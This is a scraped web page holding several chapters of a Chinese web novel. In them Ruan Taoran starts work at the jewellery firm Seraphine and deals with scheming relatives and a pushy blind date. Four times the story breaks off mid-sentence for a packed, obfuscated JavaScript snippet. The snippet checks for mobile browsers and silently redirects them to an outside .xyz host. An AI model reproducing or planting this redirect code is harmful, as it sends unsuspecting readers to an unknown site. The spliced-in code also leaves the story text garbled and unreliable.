阮如月心里憋着一口气,她不明白,为什么那件西服的事情,过了那天晚上,阮峰就再也不提了。 她就是要事事都踩阮陶然头上,既然阮陶然要做,她也要做,她还要做得比阮陶然好。 阮陶然看了看时间,站起身道:“叔叔、婶婶、大姐,我吃饱了,我先走了。” “然然啊,不着急。”阮峰和阮陶然说话,语气都和缓了些,“等会儿你和你姐姐一起,家里司机送你们过去。” 饶曼眉头一顿,似乎是有些不满,最后只是喝了口牛奶,什么话都没说。 阮峰已经跟她说过,阮陶然和纪青云有关系,最近阮家有求于纪青云,她再不喜欢这死丫头,现在也不好说什么。 饶曼没说话,阮如月有些意外,抬头道:“妈——” 饶曼也不站在她这边了,她有些想不明白。 “不用了,再等会儿要迟到了,我去打车。”阮陶然拒绝了,礼貌道,“不着急,大姐慢慢吃。” “哎,这怎么行,第一天上班就打车过去,人家看见了怎么说?”阮峰出声拦住了阮陶然。 “这样吧,让家里司机送你过去,等会儿让你大姐打车。” 家里本来是三个司机,他们三个人一个配一个,但最近一个司机请假了。 饶曼和阮如月又不上班,只是出去逛街交际,两个司机也够用,就没有招新的。 这一下子都开始上班,有点不够用了。 “爸,你说什么?”阮如月听到阮峰让她去打车,严重怀疑自己耳朵是不是出了问题。 饶曼也怔了一下:“这怎么行?出租车多脏啊,小月怎么能坐出租车?” “夫人!”阮峰朝着饶曼使了个眼色。 饶曼咬了咬牙,把意见憋了回去:“也行吧,左右是去上班,要辛苦一点的。” 阮如月更是愣住了,这怎么了?变天了?阮峰护着阮陶然算了,饶曼也不护着她? 她三口两口把饭吃完了,忙站起来:“我吃饱了,走走走,一起去。” 她才不要去打什么出租车,那么多人坐过的位置,又脏又臭的。 阮陶然是不介意打车的,在国外的时候,她可打不起车,都是坐公共交通,她没有那么娇气。 她当然看出来阮峰夫妇两个人在打什么哑谜,她也不戳破,也不等阮如月,拿了包就出去上车。 阮如月从来没有这么狼狈过,拿了化妆包自己在车上化妆。 还好她技术不错,到Serapnine的时候,画出来了个日常妆,看上去也不丢分。 但这和她想象中的完全不一样,她本来想的是,第一天上班,以大小姐的身份高调华丽地亮相。 她忍不住愤愤地看了一眼阮陶然,她的妆倒是精致,头发也是精心编好的,粉水晶的发夹装饰,映照着车窗投射进来的阳光,五官显得精致好看,整个人像是画报里走出来的好看。 “我不知道你给我爸爸妈妈灌了什么迷魂汤,到了Serapnine我会让你知道,我们是有差距的。” 她心里不满,最后还是没忍住把心里话说出来了。 阮陶然并不搭理她,甚至连一个眼神都没有。 她从来没把阮如月当做对手,她要拿回Serapnine,对手是阮峰,阮如月只是聒噪。 阮陶然不仅不恼,还拿起手机来,开开心心对着镜头拍了张阳光灿烂的自拍,然后发给了纪青云。 [第一天上班,OOTD。] [哦,这个OOTD是指今日穿搭。] [今天江城的阳光很好,是个大晴天。] [奥克兰那边降温,会下雨,记得加件衣服。] 自从纪青云去奥克兰之后,阮陶然手机系统里面时间系统和天气系统就开启了两地模式。 每天不落的日常分享,天气变化的关心,偶尔发一发自己的照片。 她得让纪青云记得她,不然纪青云在奥克兰待了一段时间,把她忘了怎么办。 她也不等纪青云的回复,也不在意纪青云是否回复,只是永远主动积极地发消息。 她居然还在心情很好地自拍?这个场景,阮如月气得牙根痒痒。 拿起手机给饶曼发消息:[妈,你和爸爸都疯了是吗?给那个死丫头好脸色,让我去打车?] 她在阮峰面前不敢太嚣张跋扈,但在饶曼面前,什么话都敢说。 饶曼很快回了消息:[最近你别惹她,先忍一忍,都会过去的啊。] 阮峰和饶曼都没有给阮如月解释,他们实在知道自家女儿的性子,暴躁没耐心,到时候再嚷嚷出去。 阮如月回道:[我忍?要忍到什么时候?] 饶曼:[很快了,等她没用了,就把她嫁出去,以后你也看不着她,何必现在和她生气。] 阮如月眸子眯了眯,回道:[嫁出去?还是之前那个刘宇鸣吗?] 之前饶曼给阮陶然介绍对象,刘家的三公子,刘宇鸣,也是阮如月圈子里的人,狐朋狗友之一。 她可是知道这个刘宇鸣的性格,朝三暮四,天天在外面寻花问柳的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691430|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最主要的是,他家传统,他还是个妈宝,他妈之前说过,要嫁他们家,就要相夫教子,生出儿子为止。 而且,刘宇鸣是她的拥趸,到时候她可以借助刘宇鸣的手整治阮陶然。 想到这里,她心里就舒服了,把手机放下,闭起来眸子靠在座椅上,一个眼神都不给阮陶然。 她消停了,阮陶然的手机响了,是饶曼的消息—— [然然,上次给你介绍那个刘家的刘宇鸣,对你挺满意的,我把联系方式推给你。] [他知道你今天去上班,特意说了,约会不影响你上班,下班的时间去接你。] [多善解人意的男生,现在可不多见了。] 推过来的名片,头像就是个汹涌澎湃的车模的照片,阮陶然看得眼睛一跳,没有加好友。 只是回了句:[知道了。] 她没加,对面却找上门来了,很快发了好友验证过来,阮陶然看了一眼就放下了,也没通过。 不多时,车停在了Serapnine门外,在产业园区里面,是一栋不高的三层小楼。 小楼前后种了竹子,绿意森森,白墙黑瓦,徽式建筑的风格,古色古香里透着艺术的气息。 阮陶然的眸子有些悠远,她上次来的时候,还是三四岁的时候,跟着母亲宋灵玉来这里玩。 记忆已经完全模糊掉了,什么都记不清楚。 门口的Serapnine的招牌,是水墨的风格,是宋灵玉手写的笔迹。 只是物是人非,里面的人换了一茬又一茬,恐怕已经没人记得宋灵玉了。 嗡——阮陶然的手机振动了一下。 纪青云的消息跳出来,是一条订单消息,一套粉钻的发夹和耳环首饰,收货人正是阮陶然。 阮陶然自己就是做珠宝设计的,一眼就看出来,钻石成色好,颗粒很大,价值不菲。 纪青云的消息也随之而来:[配你今天这套。] 阮陶然忙回了条消息:[姐姐吃午饭了吗?] 现在江城时间上午九点,奥克兰时间下午一点,刚好应该是午休的时间。 [还在开会。] 阮陶然看到这句话,差点儿发出土拨鼠尖叫。 [姐姐,按时吃饭啊,这样对身体不好的。] [工作是做不完的,但姐姐只有一个。] 在这句话后面,还跟着一个乖巧的黄豆人的微笑,灿烂可爱的模样。 [马上。]纪青云只回了这条消息,没有后文了。 奥克兰,会议室里,纪青云把手机扣下去,继续翻面前的文件。 旁边的人道:“青云,这个案子爷爷一直很重视,爷爷昨天和我通消息还在问。” 说话的人是纪育川,纪青云新的便宜大哥,最近讨老爷子欢心,塞到这个案子里来镀金。 “我知道。”纪青云语气淡淡,看了眼外面的天色,“已经到下午了。” “啊?”纪育川怔了一下,没想到纪青云怎么会跳到这儿来,附和道,“嗯,是到下午了。” 纪青云没说话,继续审面前的文件,垂眸下去,浅琉璃色的眸子里,眸色沉沉。 已经到了下午了,她的大哥,她的爷爷,都只会说这个案子很重要,一直要重视。 20. 第 20 章 阮陶然和阮如月一起下了车,Seraphine早就收到了消息,连带着主理人都在门口等候。 主理人是个将近五十岁的女人,穿了件紫红两色拼色裙,短发,挑染些许银灰色,银色框架眼睛,一双眸子锐利如鹰隼,是个一看上去就知道是个女强人的角色。 阮如月坐在后面右侧,所以车一停下,她下车就直面公司大门,阮陶然则要绕个圈。 主理人已经迎上来了:“阮小姐,您好,我姓陈,你也可以叫我Harper。” “陈总好,您别客气,叫我如月就行。”阮如月眉眼弯弯,倒是笑得没有半分攻击力,和家里的跋扈完全不一样。 只是说话的时候,她有意无意地看向阮陶然的方向,眸色之中有些微微的挑衅。 “陈总的名字,我如雷贯耳,前些年在璀璨节的展映上,您那套黑珍珠天鹅的设计,我当真喜欢。” 说完这句话,阮如月就见到她对面的陈欢脸上的笑容浓了几分。 她是提前做过功课的,目的就是,直接把陈欢拉拢到自己阵营里面,不给阮陶然好脸色。 “那套设计样品还在公司展台,阮小姐要是喜欢,等会儿我拿出来给您看看。”陈欢说道。 “那就别浪费时间了,我们现在就进去看。”阮如月说着,已经伸手拉住了陈欢的胳膊,一副老友亲昵的样子。 陈欢和阮如月几乎是手挽着手进了公司,和后面的阮如月,一句交谈都没有。 大家眸色互相对了对,Seraphine在阮氏旗下,他们当然都偷偷聊过老板的八卦,阮家纷繁复杂的关系,他们都清楚,也都知道,虽然来了两位阮小姐,但阮如月是那尊真佛。 现在阮如月拉着陈欢的手走了,余下阮陶然就尴尬在了原地。 有人垂下目光,假装看不到一般,跟在陈欢和阮如月背后走了。 有人和阮陶然点了个头,算是打招呼,然后也转身走了。 只有一个黑色长发如绸缎一般的女人,走到阮陶然面前,微微露出笑容,伸手过来:“欢迎阮小姐。” 她五官柔和,看上去就像是邻家大姐姐一般,一双凤眸,端庄温雅,素白色的裙子,衬出来百合花一般的气质。 她含笑着解释说道:“我叫万星春,是Seraphine设计部六组的组长,您以后就是我们组里的成员了。” “组长好,叫我然然就好。”阮陶然笑着和她握了握手,问道,“那接下来什么安排?您带我去工位吗?” “行。”万星春眼眉弯弯,转身指了指身后的人,“这几个就是我们组的成员。” “晨晨、阿亮、枫姐,加上我还有你,我们六组一共是五个人。” 人倒是不少,基本上是一个小组满配的状态了。 只是……他们的表情看起来不是很友好。 “小春,见完面没事我就先走了,我早饭还没吃,饿得胃疼。” “春姐,我去搬物料了。” 最后一个人,更是头都没抬,全程都在低头玩自己的手机,睨了一眼,就走了。 “你别放在心上,以后慢慢相处,他们平时不是这样……”万星春想解释,总觉得有些解释不动。 “我知道的,没关系,春春姐。” 阮陶然热情洋溢的语气,引得万星春一愣,转过头来,直接撞上那双亮晶晶透着开心的眸子。 不就是白眼吗?阮陶然来之前就做好心理准备了。 她做的最坏的心理准备是,完全没人搭理她,把她发配到边角旮旯和扫把一起吃灰。 现在还有个组长愿意搭理她,已经很不错了,进了Seraphine,就是成功的第一步,阮陶然很乐观。 “两个组都要进新人,他们都盼着是阮如月,结果来的是我,他们有心理落差,我明白的。”阮陶然说道。 “你不放在心上就好。”万星春松了口气,就算这不是真佛,但她姓阮,她也开罪不起。 六组已经半年没有正经活干了,一群闲人整日被借调去搬物料,干杂活,心里早就攒了怨气。 他们盼着这次空降个大小姐,公司内能够把资源倾斜过来,能有点儿正经活干。 她这个组长已经尽力争取了,最后还是没争取到,这也是没有办法的事情。 万星春不止带着阮陶然去了工位,还带着阮陶然在公司转了一圈,大概给她指了指路,介绍了一下公司的布局。 公司有两个展厅,一楼有个大展厅,还有三楼的小展厅。 各色各样的设计样品都在大展厅,只有获奖的作品,和获奖的奖杯,能够进入到小展厅里面。 阮陶然和万星春逛到三楼的时候,就听到小展厅里面有笑容传出来。 万星春脚步顿了一下,轻声说道:“三楼就是一个小展厅,陈总还有夏经理的办公室,我们就不逛了吧。” 那边热热闹闹的笑声,这边只有她们两个人的戚戚冷冷,怎么看起来都觉得失意。 陈欢带着阮如月看的就是那套黑珍珠天鹅。 大溪地黑珍珠拼出来天鹅的身体,钻石拼出来羽毛的形态,黑珍珠的深邃神秘,优雅高贵,又有亮色,引人注目。 这个设计曾经在璀璨节中获得金奖,也是陈欢的成名作。 “果然是很漂亮,这还是我第一次看到实物。”阮如月的语气里满是赞叹。 阮如月拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691431|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着陈欢的手:“陈总,以后我结婚的时候,您能不能把这条项链借给我用一用?我实在是太喜欢了。” 陈欢的眸子顿了一下,然后才微微颔首说:“好,阮小姐喜欢,我当然愿意借。” “春春姐,我们走吧。”阮陶然轻轻笑了笑,转身朝着楼下走去。 “难为你,这种场景还能笑出来。”万星春忍不住莞尔。 虽然没有争取到阮如月,但目前看来,争取到的阮陶然也不是个事精,不吵不闹不惹事,平平淡淡就是好。 “当然要笑了,要是哭出来了,岂不是让别人得意了吗?”阮陶然语调微微上扬,眸子里灿烂光华。 她不把阮如月这点小伎俩放在心上,而且,阮如月这个蠢货……恐怕做功课是在百度上搜了一下吧? 陈欢当年阐述自己黑珍珠天鹅的创作理念的时候说过,旁人觉得黑天鹅是爱情忠贞,但她不这么觉得。 她设计黑天鹅,是因为黑天鹅象征着智慧的狡黠,高调不张扬,神秘有魅力,就像是不肯穿上白婚纱的女性,独自在湖面上起舞,孤傲地戴上独属于它的王冠。 所以她除了用钻石修饰羽毛之外,在天鹅的头顶也用了一颗菱形小钻石,象征着黑天鹅的王冠。 陈欢年轻的时候可是有名的独身主义者,公开在社交媒体上发布过厌男言论,引发过很猛烈的舆论浪潮。 只不过这些年来,她不怎么惹事,把自己的言论也删得干干净净。 但这不代表着,她这个人变了。 她最引以为傲的黑天鹅,在阮如月这里,就变成了想要借去婚礼的珠宝。 阮如月觉得这是表达自己的喜欢,可陈欢心里怎么想呢? 阮陶然确定,她绝不会搞错,因为昨晚她把整个Seraphine中层以上的设计作品研究了一遍,凌晨才睡下。 卷王,就是要无论到哪儿,都永远做好准备,以最卷的态度面对工作。 就在此时,阮陶然的手机又叮的一下响了一声。 是饶曼的消息:[然然,你怎么还没有加刘宇鸣好友啊?他都等急了。] [我跟他说好了,今天去接你下班,你们好好相处,就当是认识新朋友了。] 长辈的消息,不能不回,这是阮陶然在家里的人设。 她垂着眸子回了句好,然后加了那个车模头像的名片。 对面叮叮叮发了一串消息过来,阮陶然一句都没看,就把手机放回兜里了。 倒是万星春问了一句:“怎么?你有事?有事就去办,我们又没活干。” “没事,只是相亲。”阮陶然语气淡淡。 这男的,像狗皮膏药一样,甩都甩不开。 21. 第 21 章 六组的确是最闲的一个组,也是最忙的一个组。 阮陶然在位置上坐了一整天,没什么活干,却也没见到组里的同事。 万星春解释说,他们基本上都被别的组借调走了。 一整天里,除了和万星春聊天之外,没有和别人搭得上话。 但阮陶然不着急,毕竟来日方长。 万星春却已经对阮陶然印象良好了,她就是个不出头不惹事的性子,不希望自己组内鸡飞狗跳的。 阮陶然就很好,说说笑笑没什么架子,一口一个春姐姐叫得很甜,也不因为被排挤就生气搞事情。 很平凡的一天,到了下班的时候,阮陶然和阮如月一起走出去,阮家的车已经在等了。 只是阮家的车后面还跟了一辆车,一个身穿黑色套头衫,脖子上挂着银链子的青年,靠在车门上抽烟。 见到两个人,他把手里的烟丢在地上,抬脚碾灭,然后抬手打招呼。 “宇鸣,新车啊,真帅。”阮如月很熟稔就和人搭上了话。 “劳斯莱斯幻影,怎么样?刚落地。”刘宇鸣啧了一声,打了个响指,“是不是很配我的气质?” “够了啊。”阮如月笑着,倾身过去看了看,“要不要带我试试车?给你这个荣幸,带我逛一圈。” “别别别……”刘宇鸣却伸手拦住了车门,说道,“让孙绍祖知道你上了我的车,他不得削了我啊?” 听到这个名字,阮如月似乎有一瞬间的羞怯,嘟囔了一句:“我和他又没有关系,你扯他干什么?” “谁不知道孙绍祖在追求我们大小姐啊。”刘宇鸣目光揶揄,“怎么?他还没得手?” “哪能让他这么简单得手,你们这些臭男人都一个样,到手了就不珍惜。”阮如月也顺着他的语气玩笑。 “说什么呢?我可是痴情种。”刘宇鸣语气这么说着,脸上却带着痞里痞气的笑,一看就不正经。 阮如月忍不住白了他一眼,轻哼了一声,他痴情种?他要是痴情种,长江都能倒过来流。 不过她却没挑破,只是继续说道:“那你不是来带我兜风的,是来找阮陶然的?” “对啊,来接你妹妹下班,顺便约会。”他挑眉,看上阮陶然,眸色细细打量着。 阮陶然下意识拢了拢身上的衣服,只觉得那目光赤.裸.裸,黏糊糊里透着恶心。 阮如月瞥了阮陶然一眼,然后凑近了刘宇鸣耳边,压低了声音说道:“怎么?你不会真看上她了吧?” “闹呢,少爷我什么大风大浪没见过。”刘宇鸣嘟囔了一句,口型不出声,解释了两个字,“我妈。” 阮如月心下了然,眼睛里的笑意又浓了几分。 刘宇鸣是个妈宝,他妈想抱孙子,但刘宇鸣没玩够。 他左搂右抱那些小嫩模和小明星,他妈都看不上眼,整日催着让他找个正正经经的女朋友。 但江城圈子就这么大,谁不知道谁啊,哪儿还有人肯把自己闺女往火坑里送。 刘宇鸣要是娶了阮陶然,他能满足他妈对他的要求,阮如月自己的目的也能达成了。 阮如月又凑过去,压低了声音在刘宇鸣耳朵边上说:“知道你不喜欢我就放心了,我还以为你现在开始审丑了。” 她身上的香水味浓烈,近距离之下,扑了刘宇鸣一怀,他眸色忍不住暗了暗,指尖拈着阮如月的发丝擦过去。 可也就在此刻,阮如月往后退了一步,柔软的发擦着刘宇鸣的指尖划过去,留下暗香阵阵。 阮如月笑着说道:“好了,别闹了,和我保持距离,我可不想和你扯出来什么新闻。” 他没说话,只是指尖轻轻碾了碾,眸色晦暗不清,盯着阮如月看。 阮如月扬眉,道:“刘宇鸣,你盯着我看什么?你该不会喜欢我吧?别闹了,我们可是好哥们。” “嗯,好哥们。”刘宇鸣嗤的一笑,挥了挥手,“走吧,你赶紧回家,别影响我约会。” 阮如月目光之中荡起来涟漪,笑容缓缓绽开:“行,不耽误你了。” 说着,她摆了摆手,看向阮陶然:“阮陶然,这可是我妈给你安排的,你不去就是不给我妈面子。” “长辈又不是让你上刀山下火海,只是给你安排个相亲,想让你认识认识新朋友。” “你不会这都不愿意,这么没有礼貌吧?” 她这几句话,明显就把阮陶然的路堵死了,说这样的时候,她眸子也尽都是些得意洋洋的光彩。 刘宇鸣已经开了车门,一副绅士的样子:“请吧,阮小姐。” 阮如月的唇角扬了扬,踩着自己的细高跟,上了阮家的车,然后车就开走了。 刘宇鸣目送着阮如月离开,然后才看向阮陶然:“阮小姐?你放心,我是正人君子。” “外面那些风言风语都是假的,他们故意陷害我,你难道不相信你亲叔叔婶婶,给你介绍的对象吗?” “不是对象,只是普通朋友。”阮陶然睫羽抬了抬,眸色淡淡,“去哪儿?” “去吃饭啊。”刘宇鸣转身朝着主驾驶走去,“我在星悦城的顶楼餐厅定了位置,走吧,阮小姐。” 这款车只有两个位置,也就是说阮陶然只能坐在副驾驶的位置。 刘宇鸣启动了车子,又看了过来,还没说什么,就见阮陶然径直一步跨了上来,拉好了安全带。 刘宇鸣轻轻笑了声,道:“我还以为你不敢呢。” “这有什么不敢的,这可是我婶婶介绍的,要是出了事,她以后在这个圈子里就不用混了。”阮陶然低头玩手机,没有抬头给刘宇鸣一个多余的眼神。 饶曼介绍人相亲,说出去是好心,但要是找人对她做什么,就一块遮羞布都没了。 “啧——”刘宇鸣啧了一声,目光打量着阮陶然的侧脸。 她的五官精致,今天化了精致的妆,清丽出尘,有阳光笼罩落下来,肤色远看如白瓷,近看透着粉,水灵灵的样子像是花里面跳出来的精灵。 刘宇鸣不同意阮如月说审丑的那句话,她这个妹妹,一点都不丑,分明是个出挑的小美人。 和阮如月浓妆艳丽的风格不一样,是一种透着生命气息的好看。 “还不走吗?”阮陶然转头过来,晶亮的眸色就撞入刘宇鸣的眼睛里面。 “走。”刘宇鸣扬眉,痞里痞气一笑,“小美人说话,我当然遵从。” “坐稳了。”一句话还没说完,一角就轰在了油门上。 轰隆的发动机声音,阮陶然只觉得一股强烈的推背感,车像是整个弹射出去。 阮陶然下意识紧紧抓住了安全带,听到耳朵边上的戏谑声:“小美人放心,我车技很好的。” 车停在星悦城的停车场的时候,阮陶然已经被晃得七荤八素了,俏生生的脸透着白。 刘宇鸣轻笑着赞了一句:“胆子挺大,没有喊出来。” “阮如月坐你的车,你也这么开吗?”阮陶然眸子并不怯,直直地看着他问回去。 “她坐我的车干什么?”刘宇鸣语气淡淡,睫羽却压了下去,掩住了眸子里的情绪。 “你喜欢她。”阮陶然淡淡说道。 刘宇鸣开车门的手微微一顿,语气惯常的轻松散漫:“你胡说什么呢?我们是哥们。” “你喜欢她,还来和我相亲?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“阮小姐,请问是他骚扰您了吗?”女人朝着阮陶然说话的时候,语气就缓和了。 “什么骚扰?”刘宇鸣听了这个词就不愿意了,“我可是你们星悦城的VIP,你这样污蔑我,我要投诉你。” “抱歉,我们看到的是你强行上来拉阮小姐的胳膊,保护客户安全,是我们星悦城的指责。” 刘宇鸣见她没有离开的意思,不满:“什么客户?我是你们客户,你们要保护的是我。” “看来你现在不太冷静,保安,把这位贵客带到贵宾休息室休息。”女人言简意赅。 “你,你领导是谁?我要投诉你!”刘宇鸣说着,却已经被几个保安强行押着带走了。 阮陶然活动了一下胳膊,听到耳边的声音:“阮小姐,您没受伤吧?” “没事,多谢你,韩助理。”阮陶然看了一下,只是被攥红了,过会儿应该就散了。 来人正是纪青云的私人助理韩悦,纪青云走之前给阮陶然留了她的联系方式,说让她有麻烦可以联系韩悦。 刚才知道目的地是星悦城的时候,阮陶然已经给韩悦发了求救的消息。 在车上和刘宇鸣扯那么久,也不是闲扯,是在等韩悦的消息。 韩悦犹豫了一下,还是说道:“虽然我不该问,但我们接下来处理事情还是要知道……阮小姐和他是什么关系?” “没什么关系。”阮陶然轻轻揉了揉胳膊,语气淡淡说道,“相亲而已。” 韩悦眸色一震,阮陶然睫羽压下去,眸子里的光彩一闪而过。 这男人认定了她可以花钱买,就像是狗皮膏药一样甩不开。 她是甩不开,但她会用魔法打败魔法。 现在韩悦知道了她相亲,纪青云也就知道了,按纪青云的性子,是不是有好戏看了? 22. 第 22 章 “刘宇鸣那孩子多好啊,就请你吃个饭,怎么吃到局子里面去了?” “然然,你也该收收心了,跟你这么大的姑娘都开始谈婚论嫁了。” “你爸妈不在了,这些事肯定是我们做长辈的操心啊。” 饶曼在饭桌上,就开始喋喋不休,又是说刘宇鸣好,又是说今天约会没成功多遗憾。 惹得阮峰都听得有些厌烦了:“好好吃饭行不行?忙了一天,回来吃顿饭都不安生。” “你吃你的,我又没和你说话。”饶曼也不满了,“你这个叔叔一点心不操,现在还来怪我。” “都说成家立业,成家立业的,这都有了工作了算是立业了,要赶紧成个家啊。” “大姐还没有成家,我不着急。”阮陶然不紧不慢说道。 气氛似乎顿了一下,但饶曼有自己的说法:“你姐姐不成器,还得在家里再学两年,你不一样啊。” 阮陶然也不和她吵架,只是给阮峰盛了碗鸡汤:“叔叔,这个汤不错,养胃健脾的,您尝尝。” “好了好了,不说这个了,什么成家立业的,都不着急,先吃饭。”阮峰拿起汤匙喝了一口,发出轻轻的喟叹。 阮如月眸色一沉,瞥了一眼阮陶然,面色都是冷的。 这死丫头,就会搞这些小把戏,偏偏阮峰就吃这一套。 她连忙给饶曼使眼色,饶曼接收成功,试探着说道:“刘宇鸣那孩子……” “我说了,别提什么成家立业的,先吃饭。”阮峰冷声打断了饶曼的话,眉目之中满都是不耐。 “不是,我不是说这个。”饶曼换了条路线,“我是说,然然报警这件事……” “刚才然然说了,他们吵了两句,星悦城的保安误会了,这才报了警,不是然然报警,只是个误会,现在不是已经解开了吗?”阮峰语气不善。 “可……”阮峰一生气,饶曼也不敢大声说话,“刘家和我们有些生意往来,他们会不会不高兴?” 见阮峰没有继续打断,她继续说道:“不管怎么样,让然然给刘家赔个不是。” “免得到时候,刘家不高兴,我们生意上也难做,下次见面还是朋友,是不是?” 她没有站在自己的位置上,而是婉转地站在公司的位置上说这句话。 果然,这么委婉说话,阮峰就听进去了:“也是。” “那我们给刘家夫妇两个约出来吃个饭?”阮峰思索着说道。 “那倒不用,你这么忙,怎么有时间为了这些事情烦心啊?”饶曼笑着说道,“小辈的事情就给小辈解决。” 见阮峰还是不理解,饶曼继续说道:“我已经说好了,明早刘宇鸣来送然然上班。” “既然是误会,就一起吃个早饭,好好解释清楚。” “一来二往多了解了解,说不定还能成为好朋友,也对公司的生意有好处。” 阮峰本来就不耐烦这件事,听到自己可以不用出面,也点头应允了:“你这件事办得还不错。” 他也不问阮陶然的意见,直接就说:“然然,就这么办,你明天好好和他说说,就是个误会,他也没在局子里待多久,就喝了杯茶,不值当不开心的,你说话语气软点就行了。” 阮陶然唇边挂着甜甜的笑:“知道了,叔叔,您别操心了,您好好休息。” 她才不会为了这家里的事情难过,她早就看穿了,阮峰喜欢她温柔贴心也是有限的,根本不会为她谋算。 不过,按照她的想法,明天应该不会见到刘宇鸣。 这一夜,阮陶然睡得还挺好的,早早地就听到外面窗沿上布谷鸟在叫。 换了衣服跑去外面跑了一圈晨练,照旧给纪青云发了照片。 [江城的樱花已经要谢了,今天天气也很晴朗。] 阮陶然并不等纪青云的回信,因为算起来时差,这个时间,纪青云应该还在睡觉。 阮陶然回家洗了澡,化完妆下楼吃饭的时候,忽然听到接电话的饶曼一声惊呼:“什么?” 她语气惊讶不止,有些着急:“什么情况,真给抓局子里面去了?” “这次又是什么啊?” “你别急别急,让老刘托人去打听打听,问题应该不大。” “闹到社交媒体上了啊?” “赶紧找人压热度,这消息要是传出去,孩子的名声不就毁了吗?” 阮峰也听到了她打电话,略蹙了蹙眉,道:“大早上一惊一乍干什么? “嘘——”饶曼做了个噤声的手势,继续打电话,话语里不无安慰,“没事没事,肯定小事情,能解决的。” 安慰了一会儿,饶曼终于是放下了电话,看着面前的早餐叹了口气。 “怎么了?今天牌局组不起来了,还是翡翠原石切赔了?”阮峰语气里倒是镇定。 在他这里,饶曼也就这些事情,打牌逛街买东西,宝石翡翠钻石,和那些女人家长里短扯扯闲篇。 “是组不起来了……”饶曼似乎还有些没回过神来,“刘宇鸣被抓了,他妈哪儿还有心思和我们打牌啊。” “不是昨天了解情况就放了吗?就是个误会啊。”阮峰不解。 “不是昨晚的事。”饶曼看了一眼阮陶然,才继续说道,“说是嫖.娼,玩儿出来人命了。” “之前刘家拿钱了了,不知道那女的家属怎么又忽然报警了。” “证据链完整,律师一口就把刘宇鸣咬死了,今早上就给抓进去了。” “社交媒体上都挂起来了,说富二代草菅人命。” 阮陶然安安静静吃自己的饭,只当是这件事和自己没关系,听到最后一句话,忍不住拿出来手机看了两眼。 刘家已经在压了,不过还在前十的位置上,点进去就看到刘宇鸣那张脸。 下面都是愤愤不平的声音—— 这人面相看上去就是个纨绔,不是好人。 怎么这么可怕,我以为富二代就吃吃喝喝,最多游走法律边缘,这怎么这么无法无天? 习惯就好,他们都是手眼通天的。 手眼通天怎么爆出来了?好家伙,到底是谁先爆出来的,胆子好大。 刘宇鸣都被抓进去了,当然就没有早上一起吃早饭,送去上班这样的事情了。 甩开了狗皮膏药,阮陶然心情很好,开开心心出门上班去了。 Seraphine办公室里,也多有人在八卦窃窃私语今早的爆炸性新闻。 阮陶然站在茶水间听了几耳朵,确定这件事情已经传开了,就算是刘家手眼通天,也抵不过民意。 还好刘家不是独生子,老两口不用到了这岁数还得加班努力。 阮陶然可不同情他们,自己教出来的好儿子就得自己受着。 刘宇鸣这人更是个垃圾,不尊重女性,觉得随便用钱就能把女人搞到手,简直恶心。 也是奇了怪了,阮如月居然能和他成为好朋友。 阮如月从茶水间回去,把万星春的杯子放在桌上:“春春姐,早上听你嗓子哑了,泡了胖大海。” “谢谢你,应该是换季,没关系的。”万星春有些受宠若惊,还是接过来了。 相处了一天多,她大概知道阮陶然的性子,很好相处,也很讨人喜欢。 昨天还一口一个阮小姐,今天早上已经能很自然熟稔地喊然然了。 万星春合上手里的设计册:“然然,你在这儿也没什么事,想去哪儿玩随便去,我给你批假,不来上班也没关系。” 这组都借调出去了,就万星春和阮陶然两个闲人。 万星春也不理解阮陶然为什么上这个班,没有意义。 “没事,我在家也没事,就当来玩了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691433|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮陶然笑得灿烂。 当然有意义,昨天没和陈欢搭上话,今天早上就搭上话了,她不觉得自己会一直是透明人的。 “那你帮我整理一下往年的这些册子吧,归个档。”万星春指了指旁边的几个大箱子。 这些大箱子在这儿明显放了一段时间,都有灰尘印了。 万星春是觉得阮陶然在这儿什么活都没有尴尬,给她找点活干。 阮陶然当然不会拒绝,站起身来:“好,反正我时间多。” 万星春见她已经伸手去搬,连忙道:“我和你一起抬下来。” “不用不用,又不是很重。”阮陶然说话间,已经抱起来了最上面一个箱子。 箱子很大,足够把她纤细的身影完全挡住,放了一段时间,抱起来就有尘土飞扬。 阮陶然把箱子抱下来的时候,手上沾了一层灰,脸上也有些灰扑扑的,但那双眼睛依旧是亮晶晶,笑得灿烂。 “春春姐,还有哪个?那个也要搬下来吗?” 